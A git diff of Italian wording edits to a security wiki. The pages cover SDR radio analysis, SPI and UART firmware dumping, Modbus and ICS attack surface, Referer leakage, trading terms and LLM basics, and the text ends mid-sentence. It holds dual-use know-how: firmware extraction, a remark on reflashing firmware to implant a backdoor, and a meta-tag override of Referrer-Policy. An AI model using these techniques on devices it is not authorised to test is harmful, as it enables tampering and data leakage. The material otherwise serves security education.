il bus pirate puoi seguire la documentazione: @@ -53,7 +53,7 @@ In questo caso mi connetterò a un EPROM: ATMEL901 24C256 PU27: ![](<../../images/image (964).png>) -Per comunicare con il bus pirate ho usato Tera Term connesso alla porta COM del bus pirate con un Setup --> Porta Serial --> Velocità di 115200.\ +Per comunicare con il bus pirate ho usato Tera Term connesso alla porta COM del bus pirate con un Setup --> Serial Port --> Speed di 115200.\ Nella seguente comunicazione puoi trovare come preparare il bus pirate per parlare I2C e come scrivere e leggere dalla memoria (I commenti appaiono usando "#", non aspettarti quella parte nella comunicazione): ```bash # Check communication with buspirate diff --git a/src/todo/hardware-hacking/radio.md b/src/todo/hardware-hacking/radio.md index e1ac13d7a..5bf6f6a4d 100644 --- a/src/todo/hardware-hacking/radio.md +++ b/src/todo/hardware-hacking/radio.md @@ -9,7 +9,7 @@ ### Configurazione di base Dopo l'installazione ci sono alcune cose che potresti considerare di configurare.\ -Nelle impostazioni (il secondo pulsante della scheda) puoi selezionare il **dispositivo SDR** o **selezionare un file** da leggere e quale frequenza sintonizzare e il tasso di campionamento (consigliato fino a 2.56Msps se il tuo PC lo supporta)\\ +Nelle impostazioni (il secondo pulsante della scheda) puoi selezionare il **dispositivo SDR** o **selezionare un file** da leggere e quale frequenza sintonizzare e il tasso di campionamento (raccomandato fino a 2.56Msps se il tuo PC lo supporta)\\ ![](<../../images/image (245).png>) @@ -18,11 +18,11 @@ Nel comportamento della GUI è consigliato abilitare alcune cose se il tuo PC lo ![](<../../images/image (472).png>) > [!NOTE] -> Se ti rendi conto che il tuo PC non cattura segnali prova a disabilitare OpenGL e abbassare il tasso di campionamento. +> Se ti rendi conto che il tuo PC non cattura nulla, prova a disabilitare OpenGL e abbassare il tasso di campionamento. ### Usi -- Per **catturare un segnale e analizzarlo** basta mantenere premuto il pulsante "Push to capture" finché ne hai bisogno. +- Per **catturare un po' di un segnale e analizzarlo** basta mantenere premuto il pulsante "Push to capture" finché ne hai bisogno. ![](<../../images/image (960).png>) @@ -38,7 +38,7 @@ Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincronizza con il ## Trucchi interessanti -- Quando un dispositivo sta inviando burst di informazioni, di solito la **prima parte sarà un preambolo** quindi **non** devi **preoccuparti** se **non trovi informazioni** lì **o se ci sono degli errori**. +- Quando un dispositivo sta inviando burst di informazioni, di solito la **prima parte sarà un preambolo**, quindi **non** devi **preoccuparti** se **non trovi informazioni** lì **o se ci sono alcuni errori**. - Nei frame di informazioni di solito dovresti **trovare diversi frame ben allineati tra loro**: ![](<../../images/image (1076).png>) @@ -60,7 +60,7 @@ Se stai controllando un segnale ci sono diversi modi per cercare di capire cosa - Nota che se le informazioni sono nascoste nel fatto che una fase è cambiata e non nella fase stessa, non vedrai fasi diverse chiaramente differenziate. - **Rilevamento FM**: IQ non ha un campo per identificare le frequenze (la distanza dal centro è l'ampiezza e l'angolo è la fase).\ Pertanto, per identificare FM, dovresti **vedere solo fondamentalmente un cerchio** in questo grafico.\ -Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da una **accelerazione della velocità attorno al cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ viene popolato, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM): +Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da un'**accelerazione di velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ viene popolato, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM): ## Esempio AM @@ -129,7 +129,7 @@ Ora, per far capire a SigDigger **dove si trova l'intervallo** del livello che t ![](<../../images/image (439).png>) -Se ci fossero stati ad esempio **4 livelli di ampiezza diversi**, dovresti configurare i **Bit per simbolo a 2** e selezionare dal più piccolo al più grande. +Se ci fossero stati ad esempio **4 diversi livelli di ampiezza**, dovresti configurare i **Bit per simbolo a 2** e selezionare dal più piccolo al più grande. Infine **aumentando** lo **Zoom** e **cambiando la dimensione della riga** puoi vedere i bit (e puoi selezionare tutto e copiare per ottenere tutti i bit): @@ -137,7 +137,7 @@ Infine **aumentando** lo **Zoom** e **cambiando la dimensione della riga** puoi Se il segnale ha più di 1 bit per simbolo (ad esempio 2), SigDigger **non ha modo di sapere quale simbolo è** 00, 01, 10, 11, quindi utilizzerà diverse **scale di grigio** per rappresentare ciascuno (e se copi i bit utilizzerà **numeri da 0 a 3**, dovrai trattarli). -Inoltre, usa **codificazioni** come **Manchester**, e **up+down** può essere **1 o 0** e un down+up può essere un 1 o 0. In quei casi devi **trattare gli up (1) e down (0) ottenuti** per sostituire le coppie di 01 o 10 come 0 o 1. +Inoltre, usa **codificazioni** come **Manchester**, e **up+down** può essere **1 o 0** e un down+up può essere un 1 o 0. In quei casi devi **trattare gli up ottenuti (1) e i down (0)** per sostituire le coppie di 01 o 10 come 0 o 1. ## Esempio FM @@ -159,7 +159,7 @@ Questo perché ho catturato il segnale in entrambe le frequenze, quindi una è a ![](<../../images/image (942).png>) -Se la frequenza sincronizzata è **più vicina a una frequenza che all'altra** puoi facilmente vedere le 2 frequenze diverse: +Se la frequenza sincronizzata è **più vicina a una frequenza che all'altra** puoi facilmente vedere le 2 diverse frequenze: ![](<../../images/image (422).png>) @@ -181,9 +181,9 @@ E questo sarebbe l'istogramma di fase (che rende molto chiaro che il segnale non #### Con IQ -IQ non ha un campo per identificare le frequenze (la distanza dal centro è l'ampiezza e l'angolo è la fase).\ +IQ non ha un campo per identificare le frequenze (la distanza dal centro è ampiezza e l'angolo è fase).\ Pertanto, per identificare FM, dovresti **vedere solo fondamentalmente un cerchio** in questo grafico.\ -Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da una **accelerazione della velocità attorno al cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ viene popolato, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM): +Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da un'**accelerazione di velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ viene popolato, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM): ![](<../../images/image (81).png>) diff --git a/src/todo/hardware-hacking/spi.md b/src/todo/hardware-hacking/spi.md index 54b7a948e..1da7afd88 100644 --- a/src/todo/hardware-hacking/spi.md +++ b/src/todo/hardware-hacking/spi.md @@ -8,19 +8,19 @@ SPI (Serial Peripheral Interface) è un protocollo di comunicazione seriale sinc Più schiavi possono essere collegati a un master, ma gli schiavi non possono comunicare tra loro. Gli schiavi sono gestiti da due pin, clock e chip select. Poiché SPI è un protocollo di comunicazione sincrono, i pin di input e output seguono i segnali di clock. Il chip select è utilizzato dal master per selezionare uno schiavo e interagire con esso. Quando il chip select è alto, il dispositivo schiavo non è selezionato, mentre quando è basso, il chip è stato selezionato e il master interagirà con lo schiavo. -Il MOSI (Master Out, Slave In) e il MISO (Master In, Slave Out) sono responsabili dell'invio e della ricezione dei dati. I dati vengono inviati al dispositivo schiavo tramite il pin MOSI mentre il chip select è mantenuto basso. I dati di input contengono istruzioni, indirizzi di memoria o dati secondo il datasheet del fornitore del dispositivo schiavo. A fronte di un input valido, il pin MISO è responsabile della trasmissione dei dati al master. I dati di output vengono inviati esattamente al ciclo di clock successivo dopo la fine dell'input. I pin MISO trasmettono i dati fino a quando i dati non sono completamente trasmessi o il master imposta il pin di selezione del chip alto (in tal caso, lo schiavo smetterebbe di trasmettere e il master non ascolterebbe dopo quel ciclo di clock). +Il MOSI (Master Out, Slave In) e il MISO (Master In, Slave Out) sono responsabili dell'invio e della ricezione dei dati. I dati vengono inviati al dispositivo schiavo tramite il pin MOSI mentre il chip select è mantenuto basso. I dati di input contengono istruzioni, indirizzi di memoria o dati secondo il datasheet del fornitore del dispositivo schiavo. A fronte di un input valido, il pin MISO è responsabile della trasmissione dei dati al master. I dati di output vengono inviati esattamente al ciclo di clock successivo dopo la fine dell'input. I pin MISO trasmettono dati fino a quando i dati non sono completamente trasmessi o il master imposta il pin di selezione del chip alto (in tal caso, lo schiavo smetterebbe di trasmettere e il master non ascolterebbe dopo quel ciclo di clock). ## Dumping del Firmware da EEPROM Dumping del firmware può essere utile per analizzare il firmware e trovare vulnerabilità in esso. Spesso, il firmware non è disponibile su Internet o è irrilevante a causa di variazioni di fattori come numero di modello, versione, ecc. Pertanto, estrarre il firmware direttamente dal dispositivo fisico può essere utile per essere specifici nella ricerca di minacce. -Ottenere la console seriale può essere utile, ma spesso accade che i file siano di sola lettura. Questo limita l'analisi per vari motivi. Ad esempio, gli strumenti necessari per inviare e ricevere pacchetti potrebbero non essere presenti nel firmware. Quindi, estrarre i binari per reverse engineerizzarli non è fattibile. Pertanto, avere l'intero firmware dumpato sul sistema ed estrarre i binari per l'analisi può essere molto utile. +Ottenere la console seriale può essere utile, ma spesso accade che i file siano di sola lettura. Questo limita l'analisi per vari motivi. Ad esempio, gli strumenti necessari per inviare e ricevere pacchetti potrebbero non essere presenti nel firmware. Quindi, estrarre i binari per reverse engineering non è fattibile. Pertanto, avere l'intero firmware scaricato sul sistema ed estrarre i binari per l'analisi può essere molto utile. -Inoltre, durante il red teaming e l'accesso fisico ai dispositivi, dumpare il firmware può aiutare a modificare i file o iniettare file dannosi e poi riflasharli nella memoria, il che potrebbe essere utile per impiantare una backdoor nel dispositivo. Pertanto, ci sono numerose possibilità che possono essere sbloccate con il dumping del firmware. +Inoltre, durante il red teaming e l'accesso fisico ai dispositivi, il dumping del firmware può aiutare a modificare i file o iniettare file dannosi e poi riflasharli nella memoria, il che potrebbe essere utile per impiantare una backdoor nel dispositivo. Pertanto, ci sono numerose possibilità che possono essere sbloccate con il dumping del firmware. ### Programmatore e Lettore EEPROM CH341A -Questo dispositivo è uno strumento economico per dumpare firmware da EEPROM e anche riflasharli con file di firmware. È stata una scelta popolare per lavorare con chip BIOS dei computer (che sono semplicemente EEPROM). Questo dispositivo si collega tramite USB e richiede strumenti minimi per iniziare. Inoltre, di solito completa il compito rapidamente, quindi può essere utile anche per l'accesso fisico ai dispositivi. +Questo dispositivo è uno strumento economico per il dumping dei firmware da EEPROM e anche per riflasharli con file di firmware. Questa è stata una scelta popolare per lavorare con i chip BIOS dei computer (che sono semplicemente EEPROM). Questo dispositivo si collega tramite USB e richiede strumenti minimi per iniziare. Inoltre, di solito completa il compito rapidamente, quindi può essere utile anche per l'accesso fisico ai dispositivi. ![drawing](../../images/board_image_ch341a.jpg) @@ -28,11 +28,11 @@ Collegare la memoria EEPROM con il programmatore CH341a e collegare il dispositi ![drawing](../../images/connect_wires_ch341a.jpg) ![drawing](../../images/eeprom_plugged_ch341a.jpg) -Infine, utilizzare software come flashrom, G-Flash (GUI), ecc. per dumpare il firmware. G-Flash è uno strumento GUI minimale, veloce e rileva automaticamente l'EEPROM. Questo può essere utile se il firmware deve essere estratto rapidamente, senza troppa manipolazione con la documentazione. +Infine, utilizzare software come flashrom, G-Flash (GUI), ecc. per il dumping del firmware. G-Flash è uno strumento GUI minimale, veloce e rileva automaticamente l'EEPROM. Questo può essere utile se il firmware deve essere estratto rapidamente, senza troppi interventi con la documentazione. ![drawing](../../images/connected_status_ch341a.jpg) -Dopo aver dumpato il firmware, l'analisi può essere effettuata sui file binari. Strumenti come strings, hexdump, xxd, binwalk, ecc. possono essere utilizzati per estrarre molte informazioni sul firmware e sull'intero file system. +Dopo aver effettuato il dumping del firmware, l'analisi può essere effettuata sui file binari. Strumenti come strings, hexdump, xxd, binwalk, ecc. possono essere utilizzati per estrarre molte informazioni sul firmware e sull'intero file system. Per estrarre i contenuti dal firmware, può essere utilizzato binwalk. Binwalk analizza le firme esadecimali e identifica i file nel file binario ed è in grado di estrarli. ``` @@ -41,7 +41,7 @@ binwalk -e I file possono essere .bin o .rom a seconda degli strumenti e delle configurazioni utilizzate. > [!CAUTION] -> Nota che l'estrazione del firmware è un processo delicato e richiede molta pazienza. Qualsiasi maneggiamento errato può potenzialmente corrompere il firmware o addirittura cancellarlo completamente, rendendo il dispositivo inutilizzabile. Si consiglia di studiare il dispositivo specifico prima di tentare di estrarre il firmware. +> Nota che l'estrazione del firmware è un processo delicato e richiede molta pazienza. Qualsiasi maneggiamento errato può potenzialmente corrompere il firmware o addirittura cancellarlo completamente rendendo il dispositivo inutilizzabile. Si consiglia di studiare il dispositivo specifico prima di tentare di estrarre il firmware. ### Bus Pirate + flashrom diff --git a/src/todo/hardware-hacking/uart.md b/src/todo/hardware-hacking/uart.md index 34b3d0e9b..f0c8cfb6d 100644 --- a/src/todo/hardware-hacking/uart.md +++ b/src/todo/hardware-hacking/uart.md @@ -8,7 +8,7 @@ UART è un protocollo seriale, il che significa che trasferisce dati tra compone In generale, la linea è mantenuta alta (a un valore logico di 1) mentre UART è nello stato inattivo. Poi, per segnalare l'inizio di un trasferimento di dati, il trasmettitore invia un bit di avvio al ricevitore, durante il quale il segnale è mantenuto basso (a un valore logico di 0). Successivamente, il trasmettitore invia da cinque a otto bit di dati contenenti il messaggio reale, seguiti da un bit di parità opzionale e uno o due bit di stop (con un valore logico di 1), a seconda della configurazione. Il bit di parità, utilizzato per il controllo degli errori, è raramente visto in pratica. Il bit di stop (o i bit) segnalano la fine della trasmissione. -Chiamiamo la configurazione più comune 8N1: otto bit di dati, nessuna parità e un bit di stop. Ad esempio, se volessimo inviare il carattere C, o 0x43 in ASCII, in una configurazione UART 8N1, invieremmo i seguenti bit: 0 (il bit di avvio); 0, 1, 0, 0, 0, 0, 1, 1 (il valore di 0x43 in binario), e 0 (il bit di stop). +Chiamiamo la configurazione più comune 8N1: otto bit di dati, nessun bit di parità e un bit di stop. Ad esempio, se volessimo inviare il carattere C, o 0x43 in ASCII, in una configurazione UART 8N1, invieremmo i seguenti bit: 0 (il bit di avvio); 0, 1, 0, 0, 0, 0, 1, 1 (il valore di 0x43 in binario), e 0 (il bit di stop). ![](<../../images/image (764).png>) @@ -64,9 +64,9 @@ Dopo la configurazione, usa il comando `minicom` per avviare la Console UART. ## UART Via Arduino UNO R3 (Schede con Chip Atmel 328p Rimovibile) -Nel caso in cui gli adattatori UART Serial to USB non siano disponibili, l'Arduino UNO R3 può essere utilizzato con un hack veloce. Poiché l'Arduino UNO R3 è solitamente disponibile ovunque, questo può far risparmiare molto tempo. +Nel caso in cui gli adattatori UART Serial to USB non siano disponibili, l'Arduino UNO R3 può essere utilizzato con un rapido hack. Poiché l'Arduino UNO R3 è solitamente disponibile ovunque, questo può far risparmiare molto tempo. -L'Arduino UNO R3 ha un adattatore USB a Serial integrato sulla scheda stessa. Per ottenere la connessione UART, basta estrarre il chip microcontrollore Atmel 328p dalla scheda. Questo hack funziona sulle varianti di Arduino UNO R3 che hanno l'Atmel 328p non saldato sulla scheda (viene utilizzata la versione SMD). Collega il pin RX dell'Arduino (Pin Digitale 0) al pin TX dell'interfaccia UART e il pin TX dell'Arduino (Pin Digitale 1) al pin RX dell'interfaccia UART. +L'Arduino UNO R3 ha un adattatore USB to Serial integrato sulla scheda stessa. Per ottenere la connessione UART, basta estrarre il chip microcontrollore Atmel 328p dalla scheda. Questo hack funziona sulle varianti di Arduino UNO R3 che hanno l'Atmel 328p non saldato sulla scheda (viene utilizzata la versione SMD). Collega il pin RX dell'Arduino (Pin Digitale 0) al pin TX dell'interfaccia UART e il pin TX dell'Arduino (Pin Digitale 1) al pin RX dell'interfaccia UART. Infine, si consiglia di utilizzare l'Arduino IDE per ottenere la Console Serial. Nella sezione `tools` del menu, seleziona l'opzione `Serial Console` e imposta il baud rate secondo l'interfaccia UART. @@ -148,7 +148,7 @@ waiting a few secs to repeat.... La Console UART offre un ottimo modo per lavorare con il firmware sottostante nell'ambiente di runtime. Ma quando l'accesso alla Console UART è in sola lettura, potrebbe introdurre molte limitazioni. In molti dispositivi embedded, il firmware è memorizzato in EEPROM e viene eseguito in processori che hanno memoria volatile. Pertanto, il firmware è mantenuto in sola lettura poiché il firmware originale durante la produzione è all'interno dell'EEPROM stessa e eventuali nuovi file andrebbero persi a causa della memoria volatile. Pertanto, il dumping del firmware è uno sforzo prezioso quando si lavora con firmware embedded. -Ci sono molti modi per farlo e la sezione SPI copre i metodi per estrarre il firmware direttamente dall'EEPROM con vari dispositivi. Tuttavia, si consiglia di provare prima a fare il dumping del firmware con UART poiché il dumping del firmware con dispositivi fisici e interazioni esterne può essere rischioso. +Ci sono molti modi per farlo e la sezione SPI copre metodi per estrarre il firmware direttamente dall'EEPROM con vari dispositivi. Tuttavia, si consiglia di provare prima a fare il dumping del firmware con UART poiché il dumping del firmware con dispositivi fisici e interazioni esterne può essere rischioso. Il dumping del firmware dalla Console UART richiede prima di ottenere accesso ai bootloader. Molti fornitori popolari utilizzano uboot (Universal Bootloader) come loro bootloader per caricare Linux. Pertanto, è necessario ottenere accesso a uboot. diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md index f5799b70c..e2abf02c0 100644 --- a/src/todo/industrial-control-systems-hacking/README.md +++ b/src/todo/industrial-control-systems-hacking/README.md @@ -4,7 +4,7 @@ Questa sezione contiene tutto sui Sistemi di Controllo Industriale, inclusi concetti e metodologie per hackerarli con vari problemi di sicurezza che persistono in essi. -I Sistemi di Controllo Industriale sono ovunque, poiché le industrie sono vitali per lo sviluppo economico di una nazione. Ma questi ICS sono difficili da aggiornare e ci sono pochi progressi in questo campo. Pertanto, trovare vulnerabilità di sicurezza è comune qui. La maggior parte dei protocolli e degli standard utilizzati qui sono stati sviluppati negli anni '90 e hanno capacità molto inferiori rispetto agli attuali scenari di attacco. +I Sistemi di Controllo Industriale sono ovunque, poiché le industrie sono vitali per lo sviluppo economico di una nazione. Ma questi ICS sono difficili da aggiornare e ci sono pochi progressi in questo campo. Pertanto, trovare difetti di sicurezza è comune qui. La maggior parte dei protocolli e degli standard utilizzati qui sono stati sviluppati negli anni '90 e hanno capacità molto inferiori rispetto agli attuali scenari di attacco. È diventato importante proteggere questi sistemi poiché danneggiarli può costare molto e persino vite nel caso peggiore. Per comprendere la sicurezza dei Sistemi di Controllo Industriale, è necessario conoscere i loro interni. diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md index 3e78ddefa..0bafe9a30 100644 --- a/src/todo/industrial-control-systems-hacking/modbus.md +++ b/src/todo/industrial-control-systems-hacking/modbus.md @@ -28,4 +28,4 @@ Ogni dispositivo nella rete ha un indirizzo unico che è essenziale per la comun Inoltre, Modbus implementa anche controlli di errore per garantire l'integrità dei dati trasmessi. Ma soprattutto, Modbus è uno Standard Aperto e chiunque può implementarlo nei propri dispositivi. Questo ha reso questo protocollo uno standard globale ed è ampiamente diffuso nell'industria dell'automazione industriale. -A causa del suo ampio utilizzo e della mancanza di aggiornamenti, attaccare Modbus fornisce un vantaggio significativo con la sua superficie di attacco. Gli ICS dipendono fortemente dalla comunicazione tra i dispositivi e qualsiasi attacco effettuato su di essi può essere pericoloso per il funzionamento dei sistemi industriali. Attacchi come replay, iniezione di dati, sniffing di dati e leaking, Denial of Service, falsificazione di dati, ecc. possono essere effettuati se il mezzo di trasmissione è identificato dall'attaccante. +A causa del suo ampio utilizzo e della mancanza di aggiornamenti, attaccare Modbus fornisce un vantaggio significativo con la sua superficie di attacco. Gli ICS dipendono fortemente dalla comunicazione tra i dispositivi e qualsiasi attacco effettuato su di essi può essere pericoloso per il funzionamento dei sistemi industriali. Attacchi come replay, iniezione di dati, sniffing di dati e leak, Denial of Service, falsificazione di dati, ecc. possono essere effettuati se il mezzo di trasmissione è identificato dall'attaccante. diff --git a/src/todo/interesting-http.md b/src/todo/interesting-http.md index d631a413b..2a268f615 100644 --- a/src/todo/interesting-http.md +++ b/src/todo/interesting-http.md @@ -6,7 +6,7 @@ Il referrer è l'intestazione utilizzata dai browser per indicare quale fosse la ## Informazioni sensibili trapelate -Se in un certo momento all'interno di una pagina web si trovano informazioni sensibili nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare (ingegneria sociale) all'utente un URL controllato dall'attaccante. Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET. +Se in un certo momento all'interno di una pagina web si trovano informazioni sensibili nei parametri di una richiesta GET, se la pagina contiene link a fonti esterne o un attaccante è in grado di far visitare all'utente un URL controllato dall'attaccante (ingegneria sociale). Potrebbe essere in grado di esfiltrare le informazioni sensibili all'interno dell'ultima richiesta GET. ## Mitigazione @@ -21,7 +21,7 @@ Referrer-Policy: strict-origin Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` -## Contromisure +## Contro-mitigazione Puoi sovrascrivere questa regola utilizzando un tag meta HTML (l'attaccante deve sfruttare un'iniezione HTML): ```markup diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md index a707cfba9..712f93820 100644 --- a/src/todo/investment-terms.md +++ b/src/todo/investment-terms.md @@ -2,9 +2,9 @@ ## Spot -Questo è il modo più basilare per fare trading. Puoi **indicare l'importo dell'asset e il prezzo** che desideri comprare o vendere, e ogni volta che quel prezzo viene raggiunto l'operazione viene eseguita. +Questo è il modo più basilare per fare trading. Puoi **indicare l'importo dell'asset e il prezzo** che desideri comprare o vendere, e ogni volta che quel prezzo viene raggiunto l'operazione è completata. -Di solito puoi anche utilizzare il **prezzo di mercato attuale** per effettuare la transazione il più rapidamente possibile al prezzo attuale. +Di solito puoi anche utilizzare il **prezzo di mercato attuale** per eseguire la transazione il più rapidamente possibile al prezzo attuale. **Stop Loss - Limit**: Puoi anche indicare l'importo e il prezzo degli asset da comprare o vendere, indicando anche un prezzo inferiore per comprare o vendere nel caso venga raggiunto (per fermare le perdite). @@ -14,9 +14,9 @@ Un future è un contratto in cui 2 parti giungono a un accordo per **acquisire q Ovviamente, se tra 6 mesi il valore del bitcoin è 80.000$, la parte venditrice perde denaro e la parte acquirente guadagna. Se tra 6 mesi il valore del bitcoin è 60.000$, succede il contrario. -Tuttavia, questo è interessante, ad esempio, per le aziende che stanno generando un prodotto e hanno bisogno di avere la sicurezza di poterlo vendere a un prezzo che copra i costi. O per le aziende che vogliono garantire prezzi fissi in futuro per qualcosa anche se più alti. +Tuttavia, questo è interessante, ad esempio, per le aziende che stanno generando un prodotto e hanno bisogno di avere la sicurezza di poterlo vendere a un prezzo che copra i costi. O per le aziende che vogliono assicurarsi prezzi fissi in futuro per qualcosa anche se più alti. -Sebbene negli scambi questo venga solitamente utilizzato per cercare di realizzare un profitto. +Sebbene negli scambi questo sia solitamente usato per cercare di realizzare un profitto. * Nota che una "Posizione Long" significa che qualcuno sta scommettendo che un prezzo aumenterà * Mentre una "Posizione Short" significa che qualcuno sta scommettendo che un prezzo scenderà @@ -31,7 +31,7 @@ Nel caso in cui il prezzo scenda, il gestore del fondo guadagnerà benefici perc **Questi sono "futures" che dureranno indefinitamente** (senza una data di scadenza del contratto). È molto comune trovarli, ad esempio, negli scambi di criptovalute dove puoi entrare e uscire dai futures in base al prezzo delle criptovalute. -Nota che in questi casi i benefici e le perdite possono essere in tempo reale, se il prezzo aumenta dell'1% guadagni l'1%, se il prezzo diminuisce dell'1%, lo perderai. +Nota che in questi casi i benefici e le perdite possono essere in tempo reale; se il prezzo aumenta dell'1%, guadagni l'1%, se il prezzo diminuisce dell'1%, lo perderai. ### Futures con Leva @@ -65,4 +65,4 @@ Tuttavia, l'acquirente pagherà una commissione al venditore per aprire l'opzion ### 4. **Potenziale di Profitto:** * **Futures:** Il profitto o la perdita si basa sulla differenza tra il prezzo di mercato alla scadenza e il prezzo concordato nel contratto. -* **Opzioni:** L'acquirente guadagna quando il mercato si muove favorevolmente oltre il prezzo di esercizio di oltre il premio pagato. Il venditore guadagna mantenendo il premio se l'opzione non viene esercitata. +* **Opzioni:** L'acquirente guadagna quando il mercato si muove favorevolmente oltre il prezzo di esercizio di più del premio pagato. Il venditore guadagna mantenendo il premio se l'opzione non viene esercitata. diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md index e2df45f54..0e784dd43 100644 --- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md +++ b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md @@ -190,7 +190,7 @@ loss.backward() print("Gradient w.r.t w:", w.grad) print("Gradient w.r.t b:", b.grad) ``` -**Traduzione:** +**Uscita:** ```css cssCopy codeGradient w.r.t w: tensor([-0.0898]) Gradient w.r.t b: tensor([-0.0817]) diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md index 919aeee02..ae16f008c 100644 --- a/src/todo/llm-training-data-preparation/1.-tokenizing.md +++ b/src/todo/llm-training-data-preparation/1.-tokenizing.md @@ -2,7 +2,7 @@ ## Tokenizzazione -**Tokenizzazione** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. Ogni token viene quindi assegnato un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP). +**Tokenizzazione** è il processo di suddivisione dei dati, come il testo, in pezzi più piccoli e gestibili chiamati _token_. Ogni token viene quindi assegnato a un identificatore numerico unico (ID). Questo è un passaggio fondamentale nella preparazione del testo per l'elaborazione da parte dei modelli di machine learning, specialmente nel natural language processing (NLP). > [!TIP] > L'obiettivo di questa fase iniziale è molto semplice: **Dividere l'input in token (ids) in un modo che abbia senso**. @@ -65,7 +65,7 @@ Mentre il tokenizzatore di base funziona bene per testi semplici, ha limitazioni - Finalizza un vocabolario in cui ogni parola è rappresentata dalle unità di sottoparola più probabili. - **Vantaggi:** - Flessibile e può modellare il linguaggio in modo più naturale. -- Risultati spesso in tokenizzazioni più efficienti e compatte. +- Spesso porta a tokenizzazioni più efficienti e compatte. - _Esempio:_\ `"internazionalizzazione"` potrebbe essere tokenizzato in sottoparole più piccole e significative come `["internazionale", "izzazione"]`. diff --git a/src/todo/llm-training-data-preparation/3.-token-embeddings.md b/src/todo/llm-training-data-preparation/3.-token-embeddings.md index c48374415..9505d02bc 100644 --- a/src/todo/llm-training-data-preparation/3.-token-embeddings.md +++ b/src/todo/llm-training-data-preparation/3.-token-embeddings.md @@ -2,11 +2,11 @@ ## Token Embeddings -Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token. +Dopo la tokenizzazione dei dati testuali, il passo critico successivo nella preparazione dei dati per l'addestramento di modelli di linguaggio di grandi dimensioni (LLM) come GPT è la creazione di **token embeddings**. I token embeddings trasformano token discreti (come parole o sottoparole) in vettori numerici continui che il modello può elaborare e da cui può apprendere. Questa spiegazione analizza i token embeddings, la loro inizializzazione, utilizzo e il ruolo degli embeddings posizionali nel migliorare la comprensione del modello delle sequenze di token. > [!TIP] > L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario avrà un punto in uno spazio di X dimensioni.\ -> Nota che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). +> Nota che inizialmente la posizione di ciascuna parola nello spazio è semplicemente inizializzata "randomicamente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento). > > Inoltre, durante il token embedding **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione (significato) diversa. @@ -141,7 +141,7 @@ Mentre gli embedding dei token catturano il significato dei singoli token, non c - **Esempio:** Indicano quanto sono distanti due token, indipendentemente dalle loro posizioni assolute nella sequenza. - **Usato Da:** Modelli come Transformer-XL e alcune varianti di BERT. -### **Come Sono Integrati gli Embedding Posizionali:** +### **Come Vengono Integrati gli Embedding Posizionali:** - **Stesse Dimensioni:** Gli embedding posizionali hanno la stessa dimensionalità degli embedding dei token. - **Addizione:** Vengono aggiunti agli embedding dei token, combinando l'identità del token con le informazioni posizionali senza aumentare la dimensionalità complessiva. diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md index f61821eb5..75fcc1583 100644 --- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md +++ b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md @@ -224,7 +224,7 @@ print(sa_v2(inputs)) > [!NOTE] > Nota che invece di inizializzare le matrici con valori casuali, `nn.Linear` viene utilizzato per contrassegnare tutti i pesi come parametri da addestrare. -## Causal Attention: Nascondere Parole Future +## Causal Attention: Nascondere le Parole Future Per i LLM vogliamo che il modello consideri solo i token che appaiono prima della posizione attuale per **prevedere il prossimo token**. **Causal attention**, nota anche come **masked attention**, raggiunge questo obiettivo modificando il meccanismo di attenzione per impedire l'accesso ai token futuri. @@ -321,13 +321,13 @@ context_vecs = ca(batch) print(context_vecs) print("context_vecs.shape:", context_vecs.shape) ``` -## Estensione dell'Attenzione a Testa Singola all'Attenzione a Teste Multiple +## Estensione dell'attenzione a testa singola all'attenzione a più teste -**L'attenzione a teste multiple** in termini pratici consiste nell'eseguire **più istanze** della funzione di auto-attenzione, ognuna con **i propri pesi**, in modo che vengano calcolati vettori finali diversi. +**L'attenzione a più teste** in termini pratici consiste 